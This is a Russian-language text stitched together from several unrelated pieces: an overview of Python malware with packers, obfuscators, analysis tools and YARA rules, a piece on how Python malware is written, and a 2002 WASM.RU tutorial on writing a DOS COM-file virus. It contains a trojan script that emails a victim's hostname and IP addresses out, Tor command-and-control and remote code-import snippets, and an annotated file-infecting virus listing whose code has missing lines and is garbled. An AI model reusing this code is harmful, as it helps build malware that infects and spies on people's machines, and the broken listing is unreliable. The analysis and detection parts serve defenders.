Hello, world!
 
$ file hello.bin 
hello.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eb6a504e8922f8983b23ce6e82c45a907c6ebadf, for GNU/Linux 3.2.0, stripped
 
$ du -sh hello.bin
432K    hello.bin

В этот раз нам удалось создать портативный бинарный файл размером 432 КБ, что намного меньше, чем при использовании PyInstaller и py2exe. Чтобы разобраться, как удалось добиться столь впечатляющих результатов, посмотрим содержимое папки, где происходила сборка:

$ cloc hello.build/
 

-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                               11           2263            709           8109
C/C++ Header                     1              1              0              7
-------------------------------------------------------------------------------
SUM:                            12           2264            709           8116
-------------------------------------------------------------------------------

Одна строка на Python превратилась в более чем 8 тысяч строк на C. Nuitka работает именно таким образом, когда происходит преобразование Python-модулей в C-код, а затем используется библиотека libpython и статические C-файлы для выполнения, как и в случае с CPython.

Результат выглядит очень достойно и, кажется, с высокой степенью вероятности Nuitka в качестве «компилятора Python» будет развиваться дальше. Например, могут появиться дополнительные полезные функции, например, для защиты от реверс-инжиниринга. Уже есть несколько утилит, которые легко анализируют бинарные файлы, скомпилированные при помощи PyInstaller и py2exe с целью восстановления исходного кода Python. Если же исполняемый файл создан при помощи Nuitka и код преобразован из Python в C, задача реверс-инженера значительно усложняется.

Другие полезные утилиты

Большим подспорьем для вредоносов, написанных на Python, является огромная экосистема пакетов с открытым исходным кодом и репозитариев. Практически любая задача, которую вы хотите реализовать, скорее всего, уже решена в том или ином виде при помощи Python. Соответственно, простые функций авторы вредоносов могут найти в сети, а более сложный функционал, вероятно, не придется писать с нуля.

Рассмотрим три категории простых, но в то же время полезных и мощных утилит:

  1. Обфускация кода.

  2. Создание скриншотов.

  3. Выполнение веб-запросов.

Обфускация кода

В распоряжении авторов вредоносов, использующих Python, есть множество библиотек для обфускации, чтобы сделать код нечитабельным. Примеры: pyminifier и pyarmor.

Ниже показан пример использования утилиты pyarmor:

$ cat hello.py 
print('Hello, world!')
 
$ pyarmor obfuscate hello.py
...
 
$ cat dist/hello.py
from pytransform import pyarmor_runtime
pyarmor_runtime()
__pyarmor__(__name__, __file__, b'x50x59x41x52x4dx4fx52x00x00x03x08x00x55x0dx0dx0ax04x00x00x00x00x00x00x00x01x00x00x00x40x00x00x00xd5x00x00x00x00x00x00x18xf4x63x79xf6xaaxd7xbdxc8x85x25x4ex4fxa6x80x72x9fx00x00x00x00x00x00x00x00xecx50x8cx64x26x42xd6x01x10x54xcax9cxb6x30x82x05xb8x63x3fxb0x96xb1x97x0bxc1x49xc9x47x86x55x61x93x75xa2xc2x8cxb7x13x87xffx31x46xa5x29x41x9dxdfx32xedx7axb9xa0xe1x9ax50x4ax65x25xdbxbex1bxb6xcdxd4xe7xc2x97x35xd3x3exd3xd0x74xb8xd5xabx48xd3x05x29x5ex31xcfx3fxd3x51x78x13xbcxb3x3ex63x62xcax05xfbxacxedxfaxc1xe3xb8xa2xaaxfbxaaxbbxb5x92x19x73xf0x78xe4x9fxb0x1cx7ax1cx0cx6axa7x8bx19x38x37x7fx16xe8x61x41x68xefx6ax96x3fx68x2bxb7xecx60x39x51xa3xfcxbdx65xdbxb8xffx39xfexc0x3dx16x51x7fxc9x7fx8bxbdx88x80x92xfexe1x23x61xd0xf1xd3xf8xfaxcex86x92x6dx4dxd7x69x50x8bxf1x09x31xccx19x15xefx37x12xd4xbdx3dx0dx6exbbx28x3exacxbbxc4xdbx98xb5x85xa6x19x11x74xe9xabxdf', 1)
 
$ python dist/hello.py
Hello, world!

Создание скриншотов

Вредоносы, заточенные под кражу информации, часто имеют функцию для создания скриншотов рабочих столов пользователей. При помощи Python этот функционал легко реализовать, поскольку уже есть несколько библиотек, включая pyscreenshot и python-mss.

Пример создания скриншота при помощи библиотеки python-mss:

from mss import mss
 
with mss() as sct:
    sct.shot()

Выполнение веб-запросов

Вредоносы часто используют веб-запросы для решения разных задач в скомпрометированной системе, включая управление, получение внешнего IP-адреса, загрузку новых частей полезной нагрузки и многое другое. При помощи Python выполнение веб-запросов не составляет особого труда и может быть реализовано на базе стандартной библиотеки или библиотек с открытым исходным кодом, как, например, requests и httpx.

Например, внешний IP-адрес скомпрометированной системы можно легко получить при помощи библиотеки requests:

import requests
 
external_ip = requests.get('http://whatismyip.akamai.com/').text

Преимущества функции

eval()

Как правило, встроенная функция eval() считается очень неоднозначной и несет серьезные риски безопасности при использовании в коде. С другой стороны, эта функция очень полезна при написании вредоноса.

Функция eval() очень мощная и может использоваться для выполнения строк Python-кода внутри скрипта. Эта одиночная функция часто используется для запуска в скомпилированном вредоносе высокоуровневых скриптов или «плагинов» налету при корректной реализации. Схожим образом, во вредоносах, написанных на C, используется движок для Lua для запуска скриптов, написанных на этом языке. Подобный функционал был обнаружен в известных вредоносах, как, например, у Flame.

Представьте, что группа хакеров удаленно взаимодействует с вредоносом, написанным на Python. Если вдруг группа попала в неожиданную ситуацию, где нужно реагировать быстро, возможность прямого выполнения кода в целевой системе может оказаться очень кстати. Кроме того, вредонос, написанный на Python, мог быть размещен с очень ограниченным функционалом, а новые возможности добавляются по мере необходимости с целью оставаться незаметным как можно дольше.

Переходим к рассмотрению реальных примеров вредоносов из дикой природы.

SeaDuke

SeaDuke – вероятно наиболее известный вредонос, написанный на Python. В 2015-2016 годах Национальный комитет демократической партии (DNC) был скомпрометирован двумя группами, которые многие аналитики приписали к APT 28 и 29.

Впечатляющий анализ SeaDuke был проведен командой Unin 42 из компании Palo Alto. Также доступен декомпилированный исходный код этого вредоноса. Кроме того, компания F-Secure опубликовала прекрасный документ, где рассматривается SeaDuke и связанные вредоносы.

SeaDuke представляет собой троян, написанный на Python, который был преобразован в исполняемый файл для Windows при помощи PyInstaller и обработан упаковщиком UPX. Исходный код был обфусцирован с целью затруднения анализа. У вредоноса есть масса возможностей, включая несколько методов для незаметного и долговременного пребывания в Windows, кроссплатформенного запуска и выполнения веб-запросов с целью получения команд и управления.

Рисунок 4: Образец кода SeaDuke

PWOBot

PWOBot также является известным вредоносом, который, как и SeaDuke, был скомпилирован при помощи PyInstaller. Основная активность PWOBot пришлась в период 2013-2015 годов и затронула несколько европейских организаций преимущественно в Польше.

У PWOBot было множество функций, включая сбор нажатых клавиш, закрепление в системе, загрузку и выполнения файлов, запуск Python-кода, создание веб-запросов и майнинг криптовалют. Прекрасный анализ PWOBot был проведен командой Unit 42 из компании Palo Alto.

PyLocky

PyLocky представляет собой программу-вымогатель, скомпилированную при помощи PyInstaller. Основная активность была замечена в США, Франции, Италии и Корее. В этом вредоносе реализовано противодействие запуску в песочнице, получение команд и управление извне, а также шифрование файлов при помощи алгоритма 3DES.

Хороший анализ PyLocky был сделан специалистами из компании Trend Micro, а аналитикам из компании Talos Intelligence удалось создать расшифровщик файлов для восстановления информации, зашифрованной в системах жертв.

PoetRAT

PoetRAT представляет собой троян, целью которого было азербайджанское правительство и энергетический сектор в начале 2020 года. Троян закреплялся в системах и воровал информацию, имеющую отношение к ICS/SCADA системам, управляющим воздушными турбинами.

Вредонос передавался при помощи Word-документов и содержал массу возможностей для кражи информации, включая скачивание файлов через FTP, съем изображений с веб-камер, загрузку дополнительных утилит, кейлоггинг, работу с браузерами и кражу учетных записей. Специалисты компании Talos Intelligence написали прекрасную статью, посвященную неизвестному деятелю, использующему этот вредонос.

Ниже показан скрипт, используемый для съема изображений с веб-камер:

Рисунок 5: Участок кода для съема изображений с веб-камер

Вредоносы с открытым исходным кодом

Помимо вредоносов из дикой природы, есть несколько троянов с открытым исходным кодом, как, например, pupy и Stitch. Эти вредоносы демонстрируют, насколько сложным и многофункциональными могут приложения подобного рода. Pupy является кроссплатформенными, выполняется полностью в памяти, оставляет очень мало следов, может сочетать несколько методов для зашифрованной передачи команд, мигрировать в процессы при помощи отраженной инъекции, а также может удаленно загружать Python-код из памяти.

Утилиты для анализа вредоносов

Существует множество утилит для анализа вредоносов, написанных на Python, даже в скомпилированном виде. Коротко рассмотрим некоторые из доступных инструментов.

uncompyle6

Приемником decompyle, uncompyle и uncompyle2 стала утилита uncompyle6, представляющая собой кроссплатформенный декомпилятор, который может использоваться для преобразования байт кода в исходный Python-код.

Рассмотрим простейший скрипт «Hello, world!» и выполним в качестве модуля в виде pyc-файла (содержащего байт-код), показанного ниже. Исходный код можно восстановить при помощи uncompyle.

$ xxd hello.cpython-38.pyc 
00000000: 550d 0d0a 0000 0000 16f3 075f 1700 0000  U.........._....
00000010: e300 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0002 0000 0040 0000 0073 0c00 0000 6500  [email protected]
00000030: 6400 8301 0100 6401 5300 2902 7a0d 4865  d.....d.S.).z.He
00000040: 6c6c 6f2c 2077 6f72 6c64 214e 2901 da05  llo, world!N)...
00000050: 7072 696e 74a9 0072 0200 0000 7202 0000  print..r....r...
00000060: 00fa 2d2f 686f 6d65 2f75 7365 722f 746d  ..-/home/user/tm
00000070: 702f 7079 7468 6f6e 5f61 7274 6963 6c65  p/python_article
00000080: 2f6e 2f74 6573 742f 6865 6c6c 6f2e 7079  /n/test/hello.py
00000090: da08 3c6d 6f64 756c 653e 0100 0000 f300  ........
000000a0: 0000 00
 
$ uncompyle6 hello.cpython-38.pyc | grep -v '#'
print('Hello, world!')

pyinstxtractor.py (PyInstaller Extractor)

PyInstaller Extractor может извлекать Python-данные из исполняемых файлов, скомпилированных при помощи PyInstaller.

 python pyinstxtractor.py hello.exe
...

В итоге будут получены pyc-файлы, которые можно декомпилировать и восстановить исходный код при помощи uncompyle6.

python-exe-unpacker

Скрипт pythonexeunpack.py можно использовать для распаковки и декомпиляции исполняемых файлов, скомпилированных при помощи py2exe.

> python python_exe_unpack.py -i hello.exe
...

Детектирования скомпилированных файлов

Во время компиляции PyInstaller и py2exe добавляют уникальные строки в исполняемый файл, что значительно облегчает детектирование при помощи YARA-правил.

PyInstaller записывает строку «pyi-windows-manifest-filename» практически в самом конце исполняемого файла, которую можно наблюдать в шестнадцатеричном редакторе (HxD):

Рисунок 6: Уникальная строка, добавляемая PyInstaller во время компиляции

Ниже показано YARA-правило для детектирования исполняемых файлов, скомпилированных при помощи PyInstaller (источник):

import "pe"
 
rule PE_File_pyinstaller
{
    meta:
        author = "Didier Stevens (https://DidierStevens.com)"
        description = "Detect PE file produced by pyinstaller"
    strings:
        $a = "pyi-windows-manifest-filename"
    condition:
        pe.number_of_resources > 0 and $a
}

Второе YARA-правило используется для детектирования исполняемых файлов, скомпилированных при помощи py2exe (источник)

import "pe"
 
rule py2exe
{
  meta:
        author = "Didier Stevens (https://www.nviso.be)"
        description = "Detect PE file produced by py2exe"
  condition:
        for any i in (0 .. pe.number_of_resources - 1):
          (pe.resources[i].type_string == "Px00Yx00Tx00Hx00Ox00Nx00Sx00Cx00Rx00Ix00Px00Tx00")
}

Заключение

На этом повествование о вредоносах, написанных на Python, заканчивается. Очень интересно наблюдать за изменением трендов по мере роста производительности и упрощения работы с компьютерными системами. Мы, специалисты по безопасности, должны внимательно следить за вредоносами, написанными на Python, иначе могут возникнуть проблемы в тот момент, когда меньше всего ожидаешь.

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 2 959

Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения

Дата публикации 23 авг 2002

Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения — Архив WASM.RU

Есть несколько методов для успешного заражения. Сейчас я
объясню вам самый
старый метод, метод времени выполнения (также его называют «прямым
действием»). В наши дни его никто не использует, потому что он очень
медленный, а обнаружить такой вирус сможет любой среднезаинтересованный
пользователь. Hо… не бойтесь! Этот метод очень прост, и все люди на сцене
делали свои первые шаги именного с него. Вы будете использовать его только
в первое время. Вирус времени выполнения является программой, которая ищет
файлы, используя шаблоны («.com», «*.exe», «*.*»…) и использует функции
DOS-API (конечно, int 21h) Findfirst и Findnext (4Eh и 4Fh). Она также
заходит в другие директории. Обычно вирусы подобного рода вирусы заражают
COM и EXE, но мы также можем заражать SYS, OBJ, ZIP… но для этого мне
потребуется другой туториал и… вы помните, что этот туториал для
начинающих? ;)

ЗАРАЖЕНИЕ COM

Проще всего заразить COM-файл. Это первое, что вы должны освоить, потому
что заражение (но не путь, которым вирус добирается до этой точки) более
или менее похож на тот, как это делаю вирусы других видов (TSR и так далее):

  1. Открываем файл
  2. Сохраняем время, дату создания файла и его атрибуты
  3. Сохраняем первые (обычно 3) байта
  4. Считаем новый переход
  5. Помещаем его
  6. Добавляем тело вируса
  7. Восстанавливаем время/дату/атрибуты
  8. Закрываем файл

Вы должны знать, что COM-файл выглядит в памяти так же как и в настоящем
коде (COM = Copy of Memory). DOS дает COM-файлу всю доступную память.
Давайте посмотрим, как выглядит COM-программа после загрузки в память.

Размеp сегмента (FFFFh байтов) у COM-файлов должен быть меньше на 100h
байтов, которые будут использоваться для PSP (FFFFh — 100h = FEFFh). Hо
здесь возникает проблема. Hам нужно сохранить больше места, чтобы позволить
расти стеку, что потребуется нам в дальнейшем (каждый раз, когда мы делаем
PUSH и забываем делать POP, стек растет, и если он вырастет на слишком
большое количество байтов, то наша программа будет порушена). Я оставлю
для стека по крайней мере на 100 байтов больше. Ок? :smile3:

Это очень легко понять… и это логично! ;)

Разговор о логичных вещах… Я думаю, что настало хорошее время
попрактиковаться в COM-заражении. Это ламерский вирус. И только? Более того:
это самый ламерский вирус! ;) Hо это пособие для начинающих и я должен
сделать это! Хотя меня выворачивает от этого! Хорошо, я не убью свой разум,
если спрограммирую что-нибудь вроде этого, хотя я потратил на это целых
5 минут :smile3: (потратил зря! :smile3: ).

  1. ;—[ РЕЗАТЬ ЗДЕСЬ ]———————————————————
  2. ; Очень простой вирус. Hе компилировать. Hе распространять.
  3. ; Если вы сделаете копию этого вируса… Вы будете ламером!
  4. ; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).
  5. ; И тогда потом вы отблагодарите меня :)
  6. ; Компилируйте с помощью: TASM /m3 lame.asm
  7. ; Линкуйте:               TLINK /t lame.obj
  8. ; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!
  9. ; Самая ламерская вещь, которую вы можете сделать — это удалить сигнатуры.
  10. ; G2 написан Dark Angel из Phalcon/Skism
  11.         mov     bр, sр         ; Противоотладочное получение дельта-смещения!
  12.         int     0003h          ; Int для брикпоинтов
  13. ;—————————————————————————-
  14. ; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на
  15. ; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда
  16. ; мы помещаем размер файла, и каждый раз, когда мы используем переменную или
  17. ; что-то в этом pоде, мы должны добавить pегистp, используемый как
  18. ; дельта-смещение (здесь BP).
  19. ;—————————————————————————-
  20.         mov     dl, 0000h               ; Диск по умолчанию
  21.         mov     ah, 0047h               ; Получаем директорию
  22.         lea     si, [bp+offset origdir+1]
  23.         lea     dx, [bp+offset newDTA]
  24.         mov     ah, 001Ah               ; устанавливаем DTA
  25. ;—————————————————————————-
  26. ; Первый блок сохраняет текущую директорию в переменной для последующего
  27. ; возвращения. Посмотрите в то место данного пособия, где находится описание
  28. ; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP
  29. ; (Program Segment Prefix), где также находится командная строка. И вам,
  30. ; наверное, интересно… Что случится, если мы используем DTA с командной
  31. ; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем
  32. ; его в своих целях, pазумеется) ;)
  33. ;—————————————————————————-
  34.         movsb                           ; Двигаем первый байт
  35.         movsw                           ; Двигаем следующие два
  36.         mov     byte ptr [bp+numinfect], 0000h
  37. ;—————————————————————————-
  38. ; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного
  39. ; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения
  40. ; в DI для последующего использования. Последняя строка устанавливает
  41. ; счетчик количества заражений в 0.
  42. ;—————————————————————————-
  43.         lea     dx, [bp+offset COMmask]
  44.         cmp     [bp+numinfect], 0003h
  45.         jae     exit_traverse           ; выходим, если заражен достаточное
  46.         lea     dx, [bр+offset dot_dot] ; переходим к следующей директории
  47.         jnc     traverse_loop           ; цикл, если нет ошибки
  48.         lea     si, [bp+offset origdir]
  49.         mov     ah, 003Bh               ; восстанавливаем директорию
  50. ;—————————————————————————-
  51. ; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,
  52. ; после чего мы меняем директорию на ..
  53. ; А когда больше доступных директорий нет, мы восстанавливаем текущую.
  54. ;—————————————————————————-
  55.         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
  56. ;—————————————————————————-
  57. ; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h
  58. ; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить
  59. ; файл обычным образом ;) (Помните, что мы зарushили di, когда он был равен
  60. ;—————————————————————————-
  61.         mov     ah, 004Eh               ; находим первый
  62.         mov     cx, 0007h               ; все файлы
  63. ;—————————————————————————-
  64. ; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,
  65. ; заданному в DX (в данном примере &quot;*.COM&quot;), с любым видом атрибутов.
  66. ; Old3 — это переменная, которая обрабатывает первые три байта выполняющегося
  67. ; зараженного COM’а. Если не был найден никакой файл, возвращается флаг
  68. ; переноса, а затем мы переходим к процедуре, которая возвращает контрол
  69. ; нашей основной программе. Если мы находим по крайней мере один подходящий
  70. ; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
  71. ;—————————————————————————-
  72.         cmp     word ptr [bp+newDTA+35], ‘DN’ ; Check if COMMAND.COM
  73.         mov     ah, 004Fh               ; Set up find next
  74.         jz      findfirstnext           ; Exit if so
  75. ;—————————————————————————-
  76. ; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
  77. ; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
  78. ;—————————————————————————-
  79.         mov     ax, 4301h          ; очищаем атрибуты файла
  80.         рush    ax                 ; сохраняем для последующего использования
  81. ;—————————————————————————-
  82. ; У первого блока есть двойная функция: сохранение атрибутов файла для
  83. ; последующего восстановления, а также проверяем, существует ли файл или
  84. ; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
  85. ; установления атрибутов), а также очищает файл от нежелательных атрибутов,
  86. ; таких как read-only :).
  87. ;—————————————————————————-
  88.         mov     ax, 3D02h               ; открываем R/O
  89.         mov     ax, 5700h               ; получаем время/дату создания файла
  90. ;—————————————————————————-
  91. ; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
  92. ; файла в BX, где он будет более полезен.
  93. ; Второй блок инструкций получает время и дату создания файла, а затем
  94. ;—————————————————————————-
  95.         lea     dx, [bp+offset readbuffer]
  96. ;—————————————————————————-
  97. ; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
  98. ; провести последующие сравнения. Второй блок перемещает указатель на конец
  99. ; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
  100. ; нам для последующего добавления
  101. ;—————————————————————————-
  102.         cmp     word ptr [bp+offset readbuffer], &quot;ZM&quot;
  103.         mov     cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
  104.         add     cx, heaр-start+3        ; конвертируем в размер файла
  105.         cmр     ax, cx                  ; равны, если файл уже заражен
  106. ;—————————————————————————-
  107. ; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
  108. ; является ли он переименованным EXE (помните, что слова храняться в
  109. ; перевернутом порядке). Второй блок проверяет предыдущее заражение,
  110. ; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
  111. ; текущим размером последней.
  112. ;—————————————————————————-
  113.         cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
  114.         ja      jmp_close                 ; выходим, если так
  115.         lea     si, [bp+offset readbuffer]
  116. ;—————————————————————————-
  117. ; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
  118. ; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
  119. ; (65535), потому что в противном случает PSP и/или стек повредят код.
  120. ; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
  121. ;—————————————————————————-
  122.         sub     ax, 0003h               ; Virus_size-3 (размер перехода)
  123.         mov     word ptr [bp+offset readbuffer+1], ax
  124.         mov     dl, 00E9h               ; опкод jmp
  125.         mov     byte ptr [bp+offset readbuffer], dl
  126.         lea     dx, [bp+offset start]   ; начало того, что добавляем
  127.         mov     cx, heap-start          ; pазмеp добавления
  128.         mov     ah, 0040h               ; добавляем вирус
  129. ;—————————————————————————-
  130. ; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
  131. ; в переменной. Второй блок добавляет вирус к телу жертвы :).
  132. ;—————————————————————————-
  133.         lea     dx, [bp+offset readbuffer]
  134. ;—————————————————————————-
  135. ; Первый блок перемещает файловый указателя на начало файла, а второй
  136. ; записывает туда переход на код вируса.
  137. ; Третий увеличивает значение переменной, которая содержит количество
  138. ;—————————————————————————-
  139.         mov     ax, 5701h         ; восстанавливаем время/дату создания файла
  140.         рoр     ax                ; восстанавливаем атрибуты файла
  141.         pop     dx                ; получаем имя файла и
  142.         рoр     cx                ; атрибуты из стека
  143.         mov     ah, 004Fh         ; находим следующий файл
  144. ;—————————————————————————-
  145. ; Первый блок инструкция восстанавливает время и дату создания файла, которые
  146. ; были сохранены в DTA. А второй закрывает файл, в то время как третий
  147. ; восстанавливает старые атрибуты зараженного файла.
  148. ; Последний блок помещает в AX досовскую функцию FindNext, после чего
  149. ; переходит к дальнейшему поиску файлов для заражения.
  150. ;—————————————————————————-
  151. signature       db      &quot;[PS/Gэ]&quot;,0     ; Phalcon/Skism G2 ( old!! )
  152. COMmask         db      &quot;*.COM&quot;,0       ; должен быть ASCIIZ (Ascii-строка,0)
  153. dot_dot         db      &quot;..&quot;,0          ; новая директория
  154. heaр:                                   ; эти данные отправляются в кучу
  155. newDTA          db      43 dup (?)      ; pазмеp DTA, 2Bh
